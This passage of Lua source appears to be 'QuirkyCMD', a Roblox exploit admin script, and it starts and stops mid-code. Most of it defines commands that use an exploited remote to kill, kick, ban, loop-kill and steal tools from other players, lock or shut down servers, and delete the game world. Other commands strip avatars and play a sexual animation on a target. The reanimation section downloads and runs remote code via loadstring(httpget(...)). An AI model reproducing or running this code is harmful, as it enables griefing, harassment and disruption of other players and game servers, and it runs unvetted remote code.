Instance.new("SelectionBox",localPlayer.PlayerGui) table.insert(genv.connections, selection) selectionLoop = rs.Heartbeat:Connect(function() local target = mouse.Target if target == nil then selection.Adornee = nil return end if selection.Parent == nil then return end selection.Adornee = target end) table.insert(genv.connections, selectionLoop) end) unweldTool.Unequipped:Connect(function() if not selection then return end selection:Destroy() end) unweldTool.Activated:Connect(function() local target = mouse.Target if target == nil then return end for i,v in pairs(target:GetDescendants()) do if not (v:IsA("Weld") or v:IsA("Attachment")) then continue end delete(v) end end) end, {}, 3) addCommand("gun", function() sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true) if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if localPlayer.Backpack:FindFirstChild("wacky gun tool") or (character:FindFirstChild("wacky gun tool")) then return end local gunTool = Instance.new("Tool", localPlayer.Backpack) gunTool.RequiresHandle = false gunTool.CanBeDropped = false gunTool.Name = "wacky gun tool" gunTool.ToolTip = "Click a player to \"shoot\" them" gunTool.TextureId = "rbxassetid://822278164" local handle = Instance.new("Part", gunTool) handle.Name = "Handle" handle.Transparency = 1 handle.CanCollide = false handle.Size = Vector3.new(0.001,0.001,0.001) handle.Massless = true local track gunTool.Activated:Connect(function() local target = mouse.Target if target == nil then return end for i,v in pairs(players:GetPlayers()) do local char = v.Character if char == nil then continue end for _, part in pairs(char:GetDescendants()) do if (not part:IsA("BasePart")) or part ~= target then continue end if humanoid.RigType == Enum.HumanoidRigType.R6 then track.TimePosition = 0.4 task.wait(.25) track.TimePosition = 0.18 end local arg = {players:GetPlayerFromCharacter(char)} runCommand("ragdoll", arg) task.wait(1.5) runCommand("kill", arg) break end end end) if humanoid.RigType ~= Enum.HumanoidRigType.R6 then return end local animation = Instance.new("Animation") animation.AnimationId = "rbxassetid://33169583" track = humanoid:LoadAnimation(animation) track.Priority = Enum.AnimationPriority.Movement gunTool.Equipped:Connect(function() track:Play() task.wait() track:AdjustSpeed(0) track.TimePosition = 0.18 track:AdjustWeight(0.95) end) gunTool.Unequipped:Connect(function() track:Stop() end) end, {}, 3) addCommand("punch", function() sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true) if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid then return end local isR15 = humanoid.RigType == Enum.HumanoidRigType.R15 local arm = (isR15 and character:FindFirstChild("RightLowerArm")) or (character:FindFirstChild("Right Arm")) if not arm then return end if localPlayer.Backpack:FindFirstChild("wacky punch tool") or (character:FindFirstChild("wacky punch tool")) then return end local punchTool = Instance.new("Tool", localPlayer.Backpack) punchTool.RequiresHandle = false punchTool.CanBeDropped = false punchTool.Name = "wacky punch tool" punchTool.ToolTip = "Click to punch" punchTool.TextureId = "rbxassetid://14881411853" local animation = Instance.new("Animation") animation.AnimationId = (isR15 and "rbxassetid://846744780") or ("rbxassetid://204062532") local track = humanoid:LoadAnimation(animation) local attacking = false local touchedConnection = arm.Touched:Connect(function(part) if not attacking then return end local parent = part.Parent if not parent then return end local target = players:GetPlayerFromCharacter(parent) if (not target) or (target == localPlayer) then return end local hum = parent:FindFirstChildOfClass("Humanoid") if hum and hum.Health <= 0 then return end runCommand("kill",{target}) end) punchTool.Activated:Connect(function() if attacking then return end track:Play() task.wait(isR15 and 0.2 or 0.165) attacking = true track.Ended:Wait() attacking = false end) end, {"slap"}, 3) table.insert(genv.connections,players.PlayerAdded:Connect(function(plr) if (slockEnabled or bans[tostring(plr.UserId)]) then task.wait() delete(plr) end end)) addCommand("ban", function(plrs, input) for i,v in pairs(plrs) do if v == localPlayer then continue end if bans[tostring(v.UserId)] then continue end bans[tostring(v.UserId)] = input delete(v) end end, {}, 2) addCommand("unban", function(plrs, input) for i,v in pairs(bans) do if v == input or i == input then bans[i] = nil end end end, {}, 2) addCommand("kick", function(plrs) for i,v in pairs(plrs) do delete(v) end end, {}, 2) addCommand("kill", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local humanoid = char:FindFirstChildOfClass("Humanoid") local head = char:FindFirstChild("Head") if head == nil then continue end local neck = head:FindFirstChild("Neck") if neck == nil then local torso = char:FindFirstChild("Torso") if torso and torso:FindFirstChild("Neck") then neck = char.Torso.Neck end end if humanoid and humanoid.RequiresNeck and neck then delete(neck) continue end delete(head) end end, {}, 1) table.insert(genv.connections, rs.Heartbeat:Connect(function() local toKill = {} for i,v in pairs(loopkills) do if v.Parent ~= players then table.remove(toKill, i) continue end if not v.Character then continue end table.insert(toKill, v) end runCommand("kill", toKill) end)) addCommand("loopkill", function(plrs) for i,v in pairs(plrs) do if table.find(loopkills, v) then continue end table.insert(loopkills, v) end end, {}, 1) addCommand("unloopkill", function(plrs, input) if input:lower() == "all" then loopkills = {} return end for i,v in pairs(loopkills) do if not table.find(plrs, v) then continue end table.remove(loopkills, i) end end, {}, 1) addCommand("naked", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local pants = char:FindFirstChild("Pants") local shirt = char:FindFirstChild("Shirt") local tshirt = char:FindFirstChild("Shirt Graphic") if pants then delete(pants) end if shirt then delete(shirt) end if tshirt then delete(tshirt) end for _,instance in pairs(char:GetDescendants()) do if not instance:IsA("WrapLayer") then continue end delete(instance.Parent.Parent) end end end, {"noclothing"}, 1) addCommand("bald", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end for _,instance in pairs(char:GetChildren()) do if not instance:IsA("Accessory") then continue end delete(instance) end end end, {"nohats"}, 1) addCommand("nolimbs", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end for _,instance in pairs(char:GetChildren()) do for i,v in pairs(limbs) do if not instance.Name:lower():find(v) then continue end delete(instance) end end end end, {}, 1) addCommand("noface", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local head = char:FindFirstChild("Head") if head == nil then continue end for _,instance in pairs(head:GetChildren()) do if not instance:IsA("Decal") then continue end delete(instance) end end end, {}, 1) addCommand("stripidentity", function(plrs) runCommand("noface",plrs) runCommand("naked", plrs) runCommand("bald", plrs) end, {"strip", "noidentity"}, 1) addCommand("korblox", function(plrs) for i,v in pairs(plrs) do local char = v.Character if not char then continue end local r6Leg = char:FindFirstChild("Right Leg") if r6Leg then delete(r6Leg) continue end local r15Leg = char:FindFirstChild("RightUpperLeg") if not r15Leg then continue end delete(r15Leg) end end, {}, 1) addCommand("rescale", function(plrs) for i,v in pairs(plrs) do local char = v.Character if not char then continue end local hum = char:FindFirstChildOfClass("Humanoid") if not hum then continue end if hum.RigType ~= Enum.HumanoidRigType.R15 then continue end local function rm() for i,v in pairs(char:GetDescendants()) do if not v:IsA("BasePart") then continue end if v.Name == "Handle" or v.Name == "Head" then if not char.Head:FindFirstChild("OriginalSize") then continue end delete(char.Head.OriginalSize) continue end for i,cav in pairs(v:GetDescendants()) do if not cav:IsA("Attachment") then continue end local op = cav:FindFirstChild("OriginalPosition") if not op then continue end delete(op) task.wait(.1) end local os = v:FindFirstChild("OriginalSize") if os then delete(os) task.wait(.1) end local apst = v:FindFirstChild("AvatarPartScaleType") if not apst then continue end delete(apst) task.wait(.1) end end for i,v in pairs(atts) do rm() task.wait(.1) local scale = hum:FindFirstChild(v) if not scale then continue end delete(scale) task.wait(.1) end end end, {"morph"}, 1) addCommand("ragdoll", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local hrp = char:FindFirstChild("HumanoidRootPart") if hrp == nil then continue end delete(hrp) end end, {"nohrp"}, 1) addCommand("sink", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local humanoid = char:FindFirstChildOfClass("Humanoid") if humanoid == nil then continue end delete(humanoid) end end, {"nohum","nohumanoid"}, 2) addCommand("freeze", function(plrs) runCommand("ragdoll", plrs) runCommand("noanims", plrs) end, {}, 2) addCommand("noanims", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local humanoid = char:FindFirstChildOfClass("Humanoid") if humanoid == nil then continue end local animator = humanoid:FindFirstChildOfClass("Animator") if animator == nil then continue end delete(animator) local animate = char:FindFirstChild("Animate") if animate == nil then continue end delete(animate) end end, {}, 1) addCommand("invisible", function(plrs) local ignoreList = {"UpperTorso", "Head", "HumanoidRootPart", "Humanoid"} for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local humanoid = char:FindFirstChildOfClass("Humanoid") if humanoid == nil then continue end if humanoid.RigType ~= Enum.HumanoidRigType.R15 then continue end for _,instance in pairs(char:GetChildren()) do if table.find(ignoreList, instance.Name) then continue end delete(instance) end if humanoid.RootPart then humanoid.RootPart.Transparency = 0.6 end end end, {"invis"}, 1) addCommand("legwalk", function(plrs) local deleteList = {"LeftUpperArm","RightUpperArm"} for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local humanoid = char:FindFirstChildOfClass("Humanoid") if humanoid == nil then continue end if humanoid.RigType ~= Enum.HumanoidRigType.R15 then continue end local upperTorso = char:FindFirstChild("UpperTorso") if upperTorso == nil then continue end local waist = upperTorso:FindFirstChild("Waist") if waist == nil then continue end for _,instance in pairs(char:GetChildren()) do if not (table.find(deleteList, instance.Name) or instance:IsA("Accessory")) then continue end delete(instance) end delete(waist) end end, {"split"}, 1) addCommand("fakechat", function(plrs) if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid.RigType ~= Enum.HumanoidRigType.R15 then return end local hrp = character:FindFirstChild("HumanoidRootPart") if not (humanoid and hrp) then return end local target for i,v in pairs(plrs) do if v == localPlayer then continue end if not v.Character then continue end if not v.Character:FindFirstChild("HumanoidRootPart") then continue end target = v break end if not target then return end runCommand("unbang") runCommand("view", {target}) hrp.CFrame = CFrame.new(0,2^63-3,0) task.wait(0.1) runCommand("invis", {localPlayer}) local followLoop = rs.Heartbeat:Connect(function() if target.Character == nil then return end local thrp = target.Character:FindFirstChild("HumanoidRootPart") local thum = target.Character:FindFirstChild("Humanoid") if thrp == nil then return end local thrpVel = thrp.Velocity local thrpPos = thrp.Position local predictedCF = CFrame.new(thrpPos.X + thrpVel.X/4,thrpPos.Y,thrpPos.Z + thrpVel.Z/4) hrp.AssemblyAngularVelocity = Vector3.zero hrp.AssemblyLinearVelocity = Vector3.zero hrp.CFrame = (predictedCF*CFrame.new(0,3,-1.5)) * CFrame.Angles(math.rad(90),0,0) end) table.insert(genv.connections,followLoop) table.insert(genv.connections,humanoid.Died:Connect(function() if followLoop then followLoop:Disconnect() end runCommand("unview") end)) end, {}, 3) addCommand("notools", function(plrs) for i,v in pairs(plrs) do for _, instance in pairs(v:FindFirstChildOfClass("Backpack"):GetChildren()) do if not instance:IsA("BackpackItem") then continue end delete(instance) end local char = v.Character if char == nil then continue end for _, instance in pairs(char:GetChildren()) do if not instance:IsA("BackpackItem") then continue end delete(instance) end end end, {}, 1) addCommand("stealtools", function(plrs) if not character then return end local lpHumanoid = character:FindFirstChildOfClass("Humanoid") if not lpHumanoid then return end for i,plr in pairs(plrs) do local char = plr.Character if char == nil then continue end local head = char:FindFirstChild("Head") if head == nil then continue end delete(head) task.wait(0.05) local humanoid = char:FindFirstChildOfClass("Humanoid") if humanoid then delete(humanoid) end repeat task.wait() until char:FindFirstChildOfClass("Humanoid") == nil task.wait(.05) for i,v in pairs(char:GetChildren()) do if not (v:IsA("BackpackItem") and v:FindFirstChild("Handle")) then continue end debugPrint(v.Name) v.Handle.CFrame = character.Humanoid.RootPart.CFrame lpHumanoid:EquipTool(v) end end end, {}, 3) addCommand("punish", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end delete(char) end end, {}, 2) addCommand("bang", function(plrs) -- credit to the Infinite Yield team if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid then return end runCommand("unbang") local target for i,v in pairs(plrs) do if not v.Character then continue end if not v.Character:FindFirstChildOfClass("Humanoid") then continue end if not v.Character.Humanoid.RootPart then continue end target = v break end bangAnim = Instance.new("Animation") bangAnim.AnimationId = (humanoid.RigType ~= Enum.HumanoidRigType.R15) and "rbxassetid://148840371" or "rbxassetid://5918726674" bang = humanoid:LoadAnimation(bangAnim) bang:Play(0.1, 1, 1) bang:AdjustSpeed(3) bangLoop = nil bangDied = nil;bangDied = humanoid.Died:Connect(function() bang:Stop() bangAnim:Destroy() bangDied:Disconnect() if bangLoop then bangLoop:Disconnect() end end) if target == localPlayer then return end bangLoop = rs.Stepped:Connect(function() if target.Character == nil then return end local hum = target.Character:FindFirstChildOfClass("Humanoid") if hum == nil then return end local root = hum.RootPart if root == nil then return end character:PivotTo(root.CFrame * CFrame.new(0, 0.75, 1.1)) end) table.insert(genv.connections,bangLoop) end, {}, 3) addCommand("unbang", function() if bangDied then bangDied:Disconnect() end if bang then bang:Stop() end if bangAnim then bangAnim:Destroy() end if bangLoop then bangLoop:Disconnect() end end, {}, 3) addCommand("clearstarter", function() local whitelist = {"BubbleChat", "ChatScript", "PlayerScriptsLoader", "RbxCharacterSounds", "PlayerModule"} for i,v in pairs(sgui:GetChildren()) do delete(v) end for i,v in pairs(game:GetService("StarterPack"):GetChildren()) do delete(v) end for i,v in pairs(game:GetService("StarterPlayer"):FindFirstChildOfClass("StarterPlayerScripts"):GetChildren()) do if table.find(whitelist, v.Name) then continue end delete(v) end for i,v in pairs(game:GetService("StarterPlayer"):FindFirstChildOfClass("StarterCharacterScripts"):GetChildren()) do delete(v) end end, {"clearstarters"}, 1) addCommand("cleargui", function() for i,v in pairs(sgui:GetChildren()) do delete(v) end end,{"clearsgui", "clearguis"}, 1) addCommand("nochat",function() local chatEvents = rStorage:FindFirstChild("DefaultChatSystemChatEvents") if chatEvents then return delete(chatEvents) end if not modernChat then return end for i,v in pairs(game:GetService("TextChatService"):GetChildren()) do delete(v) end end, {"breakchat"}, 2) addCommand("nostats", function(plrs) for i,v in pairs(plrs) do local stats = v:FindFirstChild("leaderstats") if stats == nil then continue end delete(stats) end end, {}, 1) addCommand("deletename", function(plrs, input) for i,v in pairs(game:GetDescendants()) do local match = v.Name:lower():gsub(" ","") if not match:match(input:lower()) then continue end delete(v) end end, {}, 2) addCommand("clearstorage",function() for i,v in pairs(rStorage:GetChildren()) do if (v == genv.foundRemote) or (modernChat == false and v:IsA("Folder") and v.Name == "DefaultChatSystemChatEvents") then continue end delete(v) end end, {"clearrs","clearreps", "clearreplicatedstorage"}, 1) addCommand("clearws", function() for i,v in pairs(workspace:GetChildren()) do if players:GetPlayerFromCharacter(v) then continue end delete(v) end end, {}, 2) addCommand("lockws", function() for i,v in pairs(workspace:GetChildren()) do if players:FindFirstChild(v.Name) then continue end local con = v.ChildAdded:Connect(function(instance) if players:FindFirstChild(instance.Parent.Name) then return end task.wait() delete(instance) end) table.insert(genv.connections,con) table.insert(wslocks,con) end local con = workspace.ChildAdded:Connect(function(instance) if players:FindFirstChild(instance.Name) then return end task.wait() delete(instance) end) table.insert(genv.connections,con) table.insert(wslocks,con) end, {}, 1) addCommand("unlockws", function() for i,v in pairs(wslocks) do v:Disconnect() end end, {}, 1) addCommand("notextures", function() for i,v in pairs(workspace:GetChildren()) do if players:GetPlayerFromCharacter(v) then continue end if (v:IsA("Decal") or v:IsA("Texture")) then delete(v) end for _,instance in pairs(v:GetDescendants()) do if not (instance:IsA("Decal") or instance:IsA("Texture")) then continue end delete(instance) end end end, {}, 1) addCommand("baseplate", function() if not character then return end local hum = character:FindFirstChildOfClass("Humanoid") if not hum then return end local hrp = hum.RootPart if not hrp then return end local function isPlate(instance) if not (instance:IsA("BasePart")) then return end local distance = (instance.Position - hrp.Position).Magnitude local size = instance.Size.Magnitude if distance <= 7 or size >= 1000 or instance.Name:lower():gsub(" ",""):find("baseplate") then return true end return false end for i,v in pairs(workspace:GetChildren()) do if players:GetPlayerFromCharacter(v) then continue end if isPlate(v) == false then delete(v) continue end for _,instance in pairs(v:GetDescendants()) do if isPlate(instance) then continue end delete(instance) end end end,{"platform"}, 2) addCommand("nospawns", function() for i,v in pairs(workspace:GetDescendants()) do if not v:IsA("SpawnLocation") then continue end delete(v) end end, {}, 1) addCommand("unweldws", function() for i,v in pairs(workspace:GetChildren()) do if players:GetPlayerFromCharacter(v) then continue end for _, instance in pairs(v:GetDescendants()) do if not (instance:IsA("Weld") or instance:IsA("Attachment")) then continue end delete(instance) end if not (v:IsA("Weld") or v:IsA("Attachment")) then continue end delete(v) end end, {}, 1) addCommand("noseats", function() for i,v in pairs(workspace:GetChildren()) do if players:GetPlayerFromCharacter(v) then continue end for _, instance in pairs(v:GetDescendants()) do if not (instance:IsA("VehicleSeat") or instance:IsA("Seat")) then continue end delete(instance) end if not (v:IsA("VehicleSeat") or v:IsA("Seat")) then continue end delete(v) end end, {}, 1) addCommand("nosounds",function() for i,v in pairs(game:GetDescendants()) do if not v:IsA("Sound") then continue end delete(v) end end, {}, 1) addCommand("clearlighting",function() for i,v in pairs(game:GetService("Lighting"):GetChildren()) do delete(v) end end, {}, 1) addCommand("shutdown", function() for i,v in pairs(players:GetPlayers()) do if i == 1 then continue end delete(v) end delete(localPlayer) end, {}, 2) addCommand("nuke",function() for i,v in pairs(workspace:GetChildren()) do delete(v) end for i,v in pairs(players:GetPlayers()) do if i == 1 then continue end delete(v) end end, {}, 2) addCommand("wither",function(plrs) local function decay(plr) local char = plr.Character if not char then return end local limbs = {} local shuffledLimbs = {} for i,v in pairs(char:GetChildren()) do if (not v:IsA("BasePart")) or (v.Name:find("Torso") or v.Name == "Head" or v.Name == "HumanoidRootPart") then continue end table.insert(limbs, v) end for i = 1, #limbs do local rng = math.random(#limbs) table.insert(shuffledLimbs , limbs[rng]) table.remove(limbs, rng) end for i,v in pairs(shuffledLimbs) do if not char:FindFirstChild(v.Name) then continue end if plr.Character ~= char then return end delete(v) table.remove(limbs,i) task.wait(1) end local head = char:FindFirstChild("Head") if not head then return end delete(head) task.wait(0.1) for i,v in pairs(char:GetChildren()) do if not v:IsA("BasePart") then continue end delete(v) end end for i,v in pairs(plrs) do task.spawn(decay,v) end end, {"decay"}, 1) local function infectPlayer(plr) local char = plr.Character if not char then return end debugPrint(`{plr.Name} was infected`) local limbs = {} local limbAmount local shuffledLimbs = {} for i,v in pairs(char:GetChildren()) do if (not v:IsA("BasePart")) or (v.Name:find("Torso") or v.Name == "Head" or v.Name == "HumanoidRootPart") then continue end table.insert(limbs, v) end limbAmount = #limbs for i = 1, #limbs do local rng = math.random(#limbs) table.insert(shuffledLimbs , limbs[rng]) table.remove(limbs, rng) end for i,v in pairs(shuffledLimbs) do task.wait(45/limbAmount) local infectedIndex = table.find(infected,plr) if not char:FindFirstChild(v.Name) then task.wait(45/limbAmount) continue end if plr.Character ~= char then return end delete(v) table.remove(limbs,i) end local head = char:FindFirstChild("Head") if head then delete(head) task.wait(0.1) end for i,v in pairs(char:GetChildren()) do if not v:IsA("BasePart") then continue end delete(v) end table.remove(infected,table.find(infected,plr)) end table.insert(genv.connections,rs.Heartbeat:Connect(function() for i,v in pairs(infected) do local char = v.Character if not char then continue end local hum = char:FindFirstChild("Humanoid") if hum and hum.Health <= 0 then table.remove(infected,table.find(infected,v)) continue end local hrp = hum and hum.RootPart or char:FindFirstChild("HumanoidRootPart") if not hrp then continue end for i,v in pairs(players:GetPlayers()) do if table.find(infected,v) then continue end local tchar = v.Character if not tchar then continue end local thum = tchar:FindFirstChild("Humanoid") local thrp = thum and thum.RootPart or tchar:FindFirstChild("HumanoidRootPart") if not thrp then continue end if (thrp.Position - hrp.Position).Magnitude >= 5 then continue end table.insert(infected, v) task.spawn(infectPlayer,v) end end end)) addCommand("virus",function(plrs) for i,v in pairs(plrs) do table.insert(infected,v) task.spawn(infectPlayer,v) end end, {"infect"}, 1) addCommand("unvirus", function(plrs) for i,v in pairs(plrs) do local index = table.find(infected,v) if index then table.remove(infected,index) end end end, {"uninfect", "cure"}, 1) table.insert(genv.connections, rs.Heartbeat:Connect(function() for name, range in pairs(killauras) do local plr = players:FindFirstChild(name) if not plr then killauras[name] = nil continue end local char = plr.Character if not char then continue end local pos = char:GetPivot().Position for i,v in pairs(players:GetPlayers()) do if v == plr then continue end local tchar = v.Character if not tchar then continue end local tpos = tchar:GetPivot().Position local distance = (pos - tpos).Magnitude if distance > range then continue end local hum = tchar:FindFirstChild("Humanoid") if hum and hum.Health <= 0 then continue end runCommand("kill",{v}) end end end)) addCommand("killaura",function(plrs, input) local plrs = (#plrs > 0 and plrs) or ({localPlayer}) local split = input:split(" ") local range = tonumber(split[#split]) or 10 for i,v in pairs(plrs) do killauras[v.Name] = range end end, {"aura"}, 1) addCommand("unkillaura",function(plrs) for i,v in pairs(plrs) do killauras[v.Name] = nil end end, {"unaura"}, 1) addCommand("serverlock",function() slockEnabled = true end, {"slock"}, 2) addCommand("unserverlock", function() slockEnabled = false end, {"unslock"}, 2) addCommand("close", abort, {}, 3) local flyLoop local flySpeed = 50 addCommand("fly",function() -- original made by apeyton local hum = character:FindFirstChildOfClass("Humanoid") if not hum then return end local hrp = character:FindFirstChild("HumanoidRootPart") if not hrp then return end hum.PlatformStand = true hrp.Anchored = true if flyLoop then flyLoop:Disconnect() end flyLoop = rs.Heartbeat:Connect(function(deltaTime) local moveDir = hum.MoveDirection * (flySpeed * deltaTime) local hrpCF = hrp.CFrame local cameraCF = camera.CFrame local cameraOffset = hrpCF:ToObjectSpace(cameraCF).Position cameraCF = cameraCF * CFrame.new(-cameraOffset.X, -cameraOffset.Y, -cameraOffset.Z + 1) local cameraPos = cameraCF.Position local hrpPos = hrpCF.Position local objectSpaceVelocity = CFrame.new(cameraPos, Vector3.new(hrpPos.X, cameraPos.Y, hrpPos.Z)):VectorToObjectSpace(moveDir) hrp.CFrame = CFrame.new(hrpPos) * (cameraCF - cameraPos) * CFrame.new(objectSpaceVelocity) end) end, {}, 3) addCommand("unfly",function() if not flyLoop then return end flyLoop:Disconnect() local hum = character:FindFirstChildOfClass("Humanoid") if hum then hum.PlatformStand = false end local hrp = character:FindFirstChild("HumanoidRootPart") if hrp then hrp.Anchored = false end end, {}, 3) addCommand("flyspeed",function(plrs, input) flySpeed = tonumber(input) or 50 end, {}, 3) addCommand("walkspeed", function(plrs, input) local speed = tonumber(input) or 16 local humanoid = character:FindFirstChild("Humanoid") if not humanoid then return end humanoid.WalkSpeed = speed end, {"speed", "ws"}, 3) addCommand("jumppower", function(plrs, input) local jp = tonumber(input) or 50 local humanoid = character:FindFirstChild("Humanoid") if not humanoid then return end humanoid.JumpPower = jp end, {"jp"}, 3) local noclipLoop addCommand("noclip", function() if noclipLoop then noclipLoop:Disconnect() end noclipLoop = rs.Stepped:Connect(function() for i,v in pairs(character:GetDescendants()) do if not (v:IsA("BasePart") and v.CanCollide) then continue end v.CanCollide = false end end) end, {"nc"}, 3) addCommand("clip",function() if noclipLoop then noclipLoop:Disconnect() end end, {"c"}, 3) -- credits to @xyzkade and @deuces1961 for Kade's reanim as a base local function loadReanim() local char = localPlayer.Character or localPlayer.CharacterAdded:Wait() local hum = char:WaitForChild("Humanoid") local simRadius = gethiddenproperty and gethiddenproperty(localPlayer,"SimulationRadius") local requiredRadius = 20 local isR15 = hum.RigType == Enum.HumanoidRigType.R15 local forcefield = char:FindFirstChildOfClass("ForceField") local fakeHum = hum:Clone() local hrp = char:WaitForChild("HumanoidRootPart") local hrpCF = hrp.CFrame local stopAlign = false local stopAntiVoid = false local limbs = {} local hatHandles = {} local reanimConnections = {} runCommand("clip") if simRadius and simRadius < requiredRadius then repeat notify("Please wait",`Waiting for bigger SimulationRadius ({tostring(math.floor(simRadius))}/{tostring(requiredRadius)})`, 2) task.wait(2) until gethiddenproperty(localPlayer,"SimulationRadius") >= requiredRadius if localPlayer.Character == nil or localPlayer.Character ~= char or hum.Parent == nil or hum.Health <= 0 then return end end if forcefield then forcefield:Destroy() end char.Archivable = true local rig = (not isR15) and char:Clone() if isR15 then local canGetObjects, loadedRig = pcall(function() return game:GetObjects("rbxassetid://18418211383")[1] end) local r6Rig = isTesting and rStorage:WaitForChild("R6Rig") or canGetObjects and loadedRig or loadstring(httpget("https://gist.githubusercontent.com/someunknowndude/ad264038a91f7fa11bec2f67dad3feaf/raw"))() local humDesc = players:GetCharacterAppearanceAsync(localPlayer.UserId) local r6Head = r6Rig.Head local r15Head = char.Head local surfaceAppearance = r15Head:FindFirstChildOfClass("SurfaceAppearance") local face = r15Head:FindFirstChild("face") if surfaceAppearance then surfaceAppearance:Clone().Parent = r6Head else if face then r6Head.face.Texture = face.Texture end r6Head.face.Transparency = 0 end for i,v in pairs(r15Head:GetChildren()) do if not v:IsA("Attachment") then continue end v:Clone().Parent = r6Head end for i,v in pairs(humDesc:GetDescendants()) do if v:IsA("BodyColors") or v:IsA("CharacterMesh") or v:IsA("ShirtGraphic") then v.Parent = r6Rig continue end if v:IsA("Accessory") or v:IsA("Hat") then r6Rig:WaitForChild("Humanoid"):AddAccessory(v) end end rig = r6Rig else local mesh = char.Head:FindFirstChildOfClass("SpecialMesh") local face = char.Head:FindFirstChild("face") if mesh and face then delete(face) end end local rigHRP = rig:WaitForChild("HumanoidRootPart") local rigHum = rig:FindFirstChild("Humanoid") rig.Name = "wacky reanim rig" for i,v in pairs(char:GetChildren()) do if not v:IsA("BasePart") then continue end table.insert(limbs, {v,rig[v.Name]}) end local accessories = hum:GetAccessories() local rigAccessories = rigHum:GetAccessories() for i,v in pairs(accessories) do if not isR15 then table.insert(hatHandles,{v.Handle,rigAccessories[i].Handle}) continue end for _,rigAcc in pairs(rigAccessories) do local handle = rigAcc.Handle local mesh = handle:FindFirstChildOfClass("SpecialMesh") or handle local texture = handle == mesh and mesh.TextureID or mesh.TextureId if not (rigAcc.Name == v.Name and mesh.MeshId == v.Handle.MeshId and texture == v.Handle.TextureID) then continue end table.insert(hatHandles,{v.Handle,rigAcc.Handle}) continue end end local clock = os and os.clock or tick local cos = math.cos local sin = math.sin local cfNew = CFrame.new local cfZero = CFrame.identity local v3New = Vector3.new local v3Zero = Vector3.zero local changedMaxSimRad = pcall(sethiddenproperty, localPlayer, "MaximumSimulationRadius", 1000) local changedSimRad = pcall(sethiddenproperty, localPlayer, "SimulationRadius", 1000) local netlessCF = cfZero local sineValue = 0 local function align(part0, part1, offset) if stopAlign then return end if part0 and part0.Parent and part1 and part1.Parent then local part0_mass = part1.Mass * 5 part0.AssemblyLinearVelocity = v3New(part1.AssemblyLinearVelocity.X * part0_mass, sineValue, part1.AssemblyLinearVelocity.Z * part0_mass) part0.AssemblyAngularVelocity = part1.AssemblyAngularVelocity if isnetworkowner(part0) then part0.CFrame = part1.CFrame * offset end end end local function setCamera(model) local oldCamCF = camera.CFrame camera.CameraSubject = model.Humanoid camera:GetPropertyChangedSignal("CFrame"):Once(function() camera.CFrame = oldCamCF end) end local function disableCollisions(model,canTouchAndCast) for _, part in next, model:GetDescendants() do if part and part:IsA("BasePart") then part.CanCollide = false part.CanQuery = canTouchAndCast part.CanTouch = canTouchAndCast end end end local function makeTransparent(model) for i,v in pairs(model:GetDescendants()) do if not (v:IsA("BasePart") or v:IsA("Decal")) then continue end v.Transparency = 1 end end local function breakWelds(model) for i,v in pairs(model:GetDescendants()) do if not v:IsA("Motor6D") then continue end delete(v) end end local function removeScripts(model) for i,v in pairs(model:GetChildren()) do if not (v:IsA("Script") or v:IsA("LocalScript") or v:IsA("ModuleScript") or v.Name == "Animate") then continue end delete(v) end end local function removeTouchTriggers(model) for i,v in pairs(model:GetDescendants()) do if not v:IsA("TouchTransmitter") then continue end delete(v) end end local function onPostSim() for _, data in next, limbs do align(data[1], data[2],netlessCF) end for _, data in next, hatHandles do align(data[1], data[2], netlessCF) end end local function onPreSim() netlessCF = cfNew(0.01 * sin(clock()*16), 0, 0.01 * math.cos(clock()*16)) sineValue = 40 - 3 * sin(clock()*10) if stopAntiVoid or rigHRP.Position.Y > (workspace.FallenPartsDestroyHeight + 50) then return end rigHRP.CFrame = hrpCF rigHRP.AssemblyLinearVelocity = v3Zero rigHRP.AssemblyAngularVelocity = v3Zero end rigHRP.CFrame = hrpCF rig.Parent = workspace localPlayer.Character = rig setCamera(rig) rig.Animate.Enabled = false rig.Animate.Enabled = true hum:ChangeState(Enum.HumanoidStateType.Physics) repeat task.wait() until limbs[3][1].CanCollide task.wait(0.05) delete(hum) repeat task.wait() until hum.Parent == nil task.wait() fakeHum.Parent = char task.wait() table.insert(reanimConnections, rs.PreSimulation:Connect(onPreSim)) table.insert(reanimConnections, rs.PostSimulation:Connect(onPostSim)) table.insert(reanimConnections, rs.Stepped:Connect(function() disableCollisions(char,false) disableCollisions(rig,true) end)) breakWelds(char) makeTransparent(char) removeScripts(char) removeTouchTriggers(char) genv.LoadLibrary = function(lib) return loadstring(httpget("https://raw.githubusercontent.com/Roblox/Core-Scripts/master/CoreScriptsRoot/Libraries/" .. lib .. ".lua"))() end local reset = Instance.new("BindableEvent") reset.Event:Connect(function() if stopAlign then local hum = character:FindFirstChildOfClass("Humanoid") if not hum then return character:BreakJoints() end hum.Health = 0 return end notify("Resetting", "Please wait ~6 seconds", 6) stopAntiVoid = true rigHRP.Anchored = true rigHRP.CFrame = CFrame.new(0,workspace.FallenPartsDestroyHeight + 5,0) task.wait(0.5) stopAlign = true rigHum:ChangeState(Enum.HumanoidStateType.Dead) localPlayer.CharacterAdded:Wait() rig:Destroy() for i,v in pairs(reanimConnections) do v:Disconnect() end end) sgui:SetCore("ResetButtonCallback", reset) notify("Success!", "reanim loaded!") end addCommand("reanim",function() task.spawn(loadReanim) end, {"reanimate"}, 3) --[[Add scrolling command list]]-- local scrollText = "QuirkyCMD made by smokedoutlocedout | type cmds for a list of commands | " if not isMobile then scrollText ..= "press ; to open/close command bar | " end local charCount = 12 local spaces = 0 local scrollSpeed = 0.12 -- sec/char local sample = scrollText..string.rep(" ", spaces) local displayString = 